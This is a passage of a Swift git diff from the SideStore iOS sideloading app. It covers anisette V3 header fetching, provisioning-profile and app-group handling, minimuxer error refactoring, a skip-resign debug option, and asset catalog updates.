|
||||
print("X-Mme-Device-Id: \(self.deviceId!)")
|
||||
|
||||
callback()
|
||||
} else { self.handleV1() }
|
||||
} else { self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The returned data may not be in JSON"))) }
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.handleV1()
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
|
||||
fetchClientInfo {
|
||||
print("Fetching anisette V3")
|
||||
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! JSONSerialization.data(withJSONObject: [
|
||||
"identifier": identifier,
|
||||
"adi_pb": adiPb
|
||||
], options: [])
|
||||
request.setValue("application/json", forHTTPHeaderField: "Content-Type")
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV3Error(message: "Couldn't fetch anisette") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: true)
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
task.resume()
|
||||
}
|
||||
}
|
||||
|
||||
extension WebSocket {
|
||||
func json(_ dictionary: [String: String]) {
|
||||
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
|
||||
self.write(string: String(data: data, encoding: .utf8)!)
|
||||
}
|
||||
}
|
||||
|
||||
extension Data {
|
||||
// https://stackoverflow.com/a/25391020
|
||||
func sha256() -> Data {
|
||||
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
|
||||
self.withUnsafeBytes {
|
||||
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
|
||||
}
|
||||
return Data(hash)
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/40089462
|
||||
func hexEncodedString() -> String {
|
||||
return self.map { String(format: "%02hhX", $0) }.joined()
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/59127761
|
||||
func object<T>() -> T { self.withUnsafeBytes { $0.load(as: T.self) } }
|
||||
}
|
||||
|
||||
@@ -268,8 +268,17 @@ extension FetchProvisioningProfilesOperation
|
||||
}
|
||||
}
|
||||
}
|
||||
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
||||
let appIDName: String
|
||||
if !name.allSatisfy({ $0.isASCII }) {
|
||||
//Contains non ASCII (Such as Chinese/Japanese...), using bundleID
|
||||
appIDName = bundleIdentifier
|
||||
}else {
|
||||
//ASCII text, keep going as usual
|
||||
appIDName = name
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.addAppID(withName: name, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
ALTAppleAPI.shared.addAppID(withName: appIDName, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
do
|
||||
{
|
||||
do
|
||||
@@ -384,19 +393,39 @@ extension FetchProvisioningProfilesOperation
|
||||
|
||||
if app.isAltStoreApp
|
||||
{
|
||||
print("Application groups before modifying for SideStore: \(applicationGroups)")
|
||||
|
||||
// Remove app groups that contain AltStore since they can be problematic (cause SideStore to expire early)
|
||||
for (index, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltStore") {
|
||||
print("Removing application group: \(group)")
|
||||
applicationGroups.remove(at: index)
|
||||
}
|
||||
}
|
||||
|
||||
// Make sure we add .AltWidget for the widget
|
||||
var altStoreAppGroupID = Bundle.baseAltStoreAppGroupID
|
||||
for (_, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltWidget") {
|
||||
altStoreAppGroupID += ".AltWidget"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Potentially updating app groups for this specific AltStore.
|
||||
// Find the (unique) AltStore app group, then replace it
|
||||
// with the correct "base" app group ID.
|
||||
// Otherwise, we may append a duplicate team identifier to the end.
|
||||
if let index = applicationGroups.firstIndex(where: { $0.contains(Bundle.baseAltStoreAppGroupID) })
|
||||
{
|
||||
applicationGroups[index] = Bundle.baseAltStoreAppGroupID
|
||||
applicationGroups[index] = altStoreAppGroupID
|
||||
}
|
||||
else
|
||||
{
|
||||
applicationGroups.append(Bundle.baseAltStoreAppGroupID)
|
||||
applicationGroups.append(altStoreAppGroupID)
|
||||
}
|
||||
}
|
||||
print("Application groups: \(applicationGroups)")
|
||||
|
||||
// Dispatch onto global queue to prevent appGroupsLock deadlock.
|
||||
DispatchQueue.global().async {
|
||||
@@ -478,10 +507,13 @@ extension FetchProvisioningProfilesOperation
|
||||
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
||||
switch Result(success, error)
|
||||
{
|
||||
case .failure(let error): completionHandler(.failure(error))
|
||||
case .success:
|
||||
case .failure:
|
||||
// As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
|
||||
// So instead, we just return the fetched profile from above.
|
||||
completionHandler(.success(profile))
|
||||
|
||||
// Fetch new provisiong profile
|
||||
case .success:
|
||||
// Fetch new provisioning profile
|
||||
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
||||
completionHandler(Result(profile, error))
|
||||
}
|
||||
|
||||
@@ -10,11 +10,7 @@ import Foundation
|
||||
|
||||
private extension URL
|
||||
{
|
||||
#if STAGING
|
||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
||||
#else
|
||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
||||
#endif
|
||||
}
|
||||
|
||||
extension FetchTrustedSourcesOperation
|
||||
|
||||
@@ -11,6 +11,7 @@ import Network
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
import minimuxer
|
||||
|
||||
@objc(InstallAppOperation)
|
||||
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
@@ -148,17 +149,68 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
})
|
||||
}
|
||||
|
||||
let ns_bundle = NSString(string: installedApp.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
|
||||
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
||||
if res == 0 {
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
|
||||
} else {
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
var installing = true
|
||||
if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
|
||||
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||
if UIApplication.shared.applicationState != .active {
|
||||
print("We are not in the foreground, let's not do anything")
|
||||
return
|
||||
}
|
||||
if !installing {
|
||||
print("Installing finished")
|
||||
return
|
||||
}
|
||||
print("We are still installing after 3 seconds")
|
||||
|
||||
UNUserNotificationCenter.current().getNotificationSettings { settings in
|
||||
switch (settings.authorizationStatus) {
|
||||
case .authorized, .ephemeral, .provisional:
|
||||
print("Notifications are enabled")
|
||||
|
||||
let content = UNMutableNotificationContent()
|
||||
content.title = "Refreshing..."
|
||||
content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
|
||||
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
|
||||
UNUserNotificationCenter.current().add(notification)
|
||||
|
||||
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||
|
||||
break
|
||||
default:
|
||||
print("Notifications are not enabled")
|
||||
|
||||
let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
|
||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
|
||||
print("Opening Safari")
|
||||
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||
}))
|
||||
|
||||
DispatchQueue.main.async {
|
||||
if var topController = UIApplication.topController {
|
||||
topController.present(alert, animated: true)
|
||||
} else {
|
||||
print("No key window? Let's just open Safari")
|
||||
UIApplication.shared.open(URL(string: "x-web-search://")!)
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
do {
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
} catch {
|
||||
installing = false
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -174,10 +226,11 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
do
|
||||
{
|
||||
try FileManager.default.removeItem(at: fileURL)
|
||||
print("Removed refreshed IPA")
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("Failed to remove refreshed .ipa:", error)
|
||||
print("Failed to remove refreshed .ipa: \(error)")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
|
||||
import Foundation
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
enum OperationError: LocalizedError
|
||||
{
|
||||
@@ -33,18 +34,9 @@ enum OperationError: LocalizedError
|
||||
case openAppFailed(name: String)
|
||||
case missingAppGroup
|
||||
|
||||
case noDevice
|
||||
case createService(name: String)
|
||||
case getFromDevice(name: String)
|
||||
case setArgument(name: String)
|
||||
case afc
|
||||
case install
|
||||
case uninstall
|
||||
case lookupApps
|
||||
case detach
|
||||
case functionArguments
|
||||
case profileInstall
|
||||
case noConnection
|
||||
case anisetteV1Error(message: String)
|
||||
case provisioningError(result: String, message: String?)
|
||||
case anisetteV3Error(message: String)
|
||||
|
||||
var failureReason: String? {
|
||||
switch self {
|
||||
@@ -61,18 +53,9 @@ enum OperationError: LocalizedError
|
||||
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||
case .noDevice: return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .createService(let name): return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
case .getFromDevice(let name): return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
case .setArgument(let name): return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
case .afc: return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .install: return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||
case .uninstall: return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
case .lookupApps: return NSLocalizedString("Unable to fetch apps from the device", comment: "")
|
||||
case .detach: return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -118,49 +101,66 @@ enum OperationError: LocalizedError
|
||||
}
|
||||
}
|
||||
|
||||
func minimuxer_to_operation(code: Int32) -> OperationError {
|
||||
switch code {
|
||||
case -1:
|
||||
return OperationError.noDevice
|
||||
case -2:
|
||||
return OperationError.createService(name: "debug")
|
||||
case -3:
|
||||
return OperationError.createService(name: "instproxy")
|
||||
case -4:
|
||||
return OperationError.getFromDevice(name: "installed apps")
|
||||
case -5:
|
||||
return OperationError.getFromDevice(name: "path to the app")
|
||||
case -6:
|
||||
return OperationError.getFromDevice(name: "bundle path")
|
||||
case -7:
|
||||
return OperationError.setArgument(name: "max packet")
|
||||
case -8:
|
||||
return OperationError.setArgument(name: "working directory")
|
||||
case -9:
|
||||
return OperationError.setArgument(name: "argv")
|
||||
case -10:
|
||||
return OperationError.getFromDevice(name: "launch success")
|
||||
case -11:
|
||||
return OperationError.detach
|
||||
case -12:
|
||||
return OperationError.functionArguments
|
||||
case -13:
|
||||
return OperationError.createService(name: "AFC")
|
||||
case -14:
|
||||
return OperationError.afc
|
||||
case -15:
|
||||
return OperationError.install
|
||||
case -16:
|
||||
return OperationError.uninstall
|
||||
case -17:
|
||||
return OperationError.createService(name: "misagent")
|
||||
case -18:
|
||||
return OperationError.profileInstall
|
||||
case -19:
|
||||
return OperationError.profileInstall
|
||||
case -20:
|
||||
return OperationError.noConnection
|
||||
default:
|
||||
return OperationError.unknown
|
||||
extension MinimuxerError: LocalizedError {
|
||||
public var failureReason: String? {
|
||||
switch self {
|
||||
case .NoDevice:
|
||||
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .NoConnection:
|
||||
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .PairingFile:
|
||||
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
|
||||
|
||||
case .CreateDebug:
|
||||
return self.createService(name: "debug")
|
||||
case .LookupApps:
|
||||
return self.getFromDevice(name: "installed apps")
|
||||
case .FindApp:
|
||||
return self.getFromDevice(name: "path to the app")
|
||||
case .BundlePath:
|
||||
return self.getFromDevice(name: "bundle path")
|
||||
case .MaxPacket:
|
||||
return self.setArgument(name: "max packet")
|
||||
case .WorkingDirectory:
|
||||
return self.setArgument(name: "working directory")
|
||||
case .Argv:
|
||||
return self.setArgument(name: "argv")
|
||||
case .LaunchSuccess:
|
||||
return self.getFromDevice(name: "launch success")
|
||||
case .Detach:
|
||||
return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .Attach:
|
||||
return NSLocalizedString("Unable to attach to the app's process", comment: "")
|
||||
|
||||
case .CreateInstproxy:
|
||||
return self.createService(name: "instproxy")
|
||||
case .CreateAfc:
|
||||
return self.createService(name: "AFC")
|
||||
case .RwAfc:
|
||||
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .InstallApp:
|
||||
return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||
case .UninstallApp:
|
||||
return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
|
||||
case .CreateMisagent:
|
||||
return self.createService(name: "misagent")
|
||||
case .ProfileInstall:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .ProfileRemove:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
}
|
||||
}
|
||||
|
||||
fileprivate func createService(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func getFromDevice(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func setArgument(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -49,15 +49,12 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
for p in profiles {
|
||||
do {
|
||||
let x = try install_provisioning_profile(plist: p.value.data)
|
||||
if case .Bad(let code) = x {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
let bytes = p.value.data.toRustByteSlice()
|
||||
try install_provisioning_profile(bytes.forRust())
|
||||
} catch {
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
|
||||
|
||||
@@ -39,15 +39,11 @@ final class RemoveAppOperation: ResultOperation<InstalledApp>
|
||||
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
|
||||
|
||||
do {
|
||||
let res = try remove_app(app_id: resignedBundleIdentifier)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
try remove_app(resignedBundleIdentifier)
|
||||
} catch {
|
||||
self.finish(.failure(ALTServerError(.appDeletionFailed)))
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
|
||||
import Foundation
|
||||
import Roxas
|
||||
import SwiftUI
|
||||
import ZIPFoundation
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
@@ -15,6 +17,9 @@ import AltSign
|
||||
@objc(ResignAppOperation)
|
||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
{
|
||||
static var skipResign: Bool = false
|
||||
static var skipResignBinding: Binding<Bool> { Binding<Bool>(get: { skipResign }, set: { skipResign = $0 }) }
|
||||
|
||||
let context: InstallAppOperationContext
|
||||
|
||||
init(context: InstallAppOperationContext)
|
||||
@@ -50,6 +55,23 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
|
||||
guard let appBundleURL = self.process(result) else { return }
|
||||
|
||||
if ResignAppOperation.skipResign {
|
||||
print("⚠️ WARNING: Skipping resign. Unless you correctly resigned the IPA before installing it, things will not work! Also, this might crash SideStore. You have been warned!")
|
||||
let ipaFile = self.context.temporaryDirectory.appendingPathComponent("App.ipa")
|
||||
let archive = Archive(url: ipaFile, accessMode: .create)!
|
||||
for case let fileURL as URL in FileManager.default.enumerator(at: appBundleURL, includingPropertiesForKeys: [])! {
|
||||
let relative = fileURL.description.replacingOccurrences(of: appBundleURL.description, with: "").removingPercentEncoding!
|
||||
try! archive.addEntry(with: "Payload/App.app\(relative)", fileURL: fileURL)
|
||||
}
|
||||
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||
try! FileManager.default.copyItem(at: ipaFile, to: destinationURL, shouldReplace: true)
|
||||
|
||||
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||
let resignedApplication = ALTApplication(fileURL: appBundleURL)!
|
||||
self.finish(.success(resignedApplication))
|
||||
return
|
||||
}
|
||||
|
||||
print("Resigning App:", self.context.bundleIdentifier)
|
||||
|
||||
// Resign app bundle
|
||||
@@ -61,6 +83,7 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
{
|
||||
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||
try FileManager.default.copyItem(at: resignedURL, to: destinationURL, shouldReplace: true)
|
||||
print("Successfully resigned app to \(destinationURL.absoluteString)")
|
||||
|
||||
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||
guard let resignedApplication = ALTApplication(fileURL: appBundleURL) else { throw OperationError.invalidApp }
|
||||
@@ -147,6 +170,14 @@ private extension ResignAppOperation
|
||||
infoDictionary[Bundle.Info.exportedUTIs] = exportedUTIs
|
||||
|
||||
try (infoDictionary as NSDictionary).write(to: bundle.infoPlistURL)
|
||||
|
||||
// Remove _CodeSignature folder (if it exists) because it will be added when resigning and it may have files that aren't overwritten when resigning
|
||||
// These files might be the cause of some ApplicationVerificationFailed errors
|
||||
let codeSignaturePath = bundle.bundleURL.appendingPathComponent("_CodeSignature").absoluteString.replacingOccurrences(of: "file://", with: "")
|
||||
if FileManager.default.fileExists(atPath: codeSignaturePath) {
|
||||
try FileManager.default.removeItem(atPath: codeSignaturePath)
|
||||
print("Removed _CodeSignature folder at \(codeSignaturePath)")
|
||||
}
|
||||
}
|
||||
|
||||
DispatchQueue.global().async {
|
||||
|
||||
@@ -9,6 +9,7 @@ import Foundation
|
||||
import Network
|
||||
|
||||
import AltStoreCore
|
||||
import minimuxer
|
||||
|
||||
@objc(SendAppOperation)
|
||||
final class SendAppOperation: ResultOperation<()>
|
||||
@@ -44,24 +45,18 @@ final class SendAppOperation: ResultOperation<()>
|
||||
|
||||
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||
|
||||
let ns_bundle = NSString(string: app.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
|
||||
if let data = NSData(contentsOf: fileURL) {
|
||||
let pls = UnsafeMutablePointer<UInt8>.allocate(capacity: data.length)
|
||||
for (index, data) in data.enumerated() {
|
||||
pls[index] = data
|
||||
}
|
||||
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
|
||||
if res == 0 {
|
||||
print("minimuxer_yeet_app_afc `res` == \(res)")
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} else {
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
do {
|
||||
let bytes = Data(data).toRustByteSlice()
|
||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} else {
|
||||
print("IPA doesn't exist????")
|
||||
self.finish(.failure(ALTServerError(.underlyingError)))
|
||||
}
|
||||
}
|
||||
|
||||
|
Before Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 846 KiB |
|
Before Width: | Height: | Size: 10 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 997 B |
|
Before Width: | Height: | Size: 1.6 KiB |
|
Before Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 3.2 KiB |
|
Before Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 3.9 KiB |
|
Before Width: | Height: | Size: 4.1 KiB |
|
Before Width: | Height: | Size: 5.2 KiB |
|
Before Width: | Height: | Size: 5.6 KiB |
|
Before Width: | Height: | Size: 6.1 KiB |
|
Before Width: | Height: | Size: 6.8 KiB |
@@ -1 +0,0 @@
|
||||
{"images":[{"size":"60x60","expected-size":"180","filename":"180.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"40x40","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"60x60","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"57x57","expected-size":"57","filename":"57.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"87","filename":"87.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"57x57","expected-size":"114","filename":"114.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"60","filename":"60.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"1024x1024","filename":"1024.png","expected-size":"1024","idiom":"ios-marketing","folder":"Assets.xcassets/AppIcon.appiconset/","scale":"1x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"72x72","expected-size":"72","filename":"72.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"76x76","expected-size":"152","filename":"152.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"50x50","expected-size":"100","filename":"100.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"76x76","expected-size":"76","filename":"76.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"50x50","expected-size":"50","filename":"50.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"72x72","expected-size":"144","filename":"144.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"40x40","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"83.5x83.5","expected-size":"167","filename":"167.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"20x20","expected-size":"20","filename":"20.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"}]}
|
||||
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0xFA",
|
||||
"green" : "0x05",
|
||||
"red" : "0xA4"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "riley.jpg",
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
BIN
AltStore/Resources/Assets.xcassets/Honeydew-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 17 KiB |
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
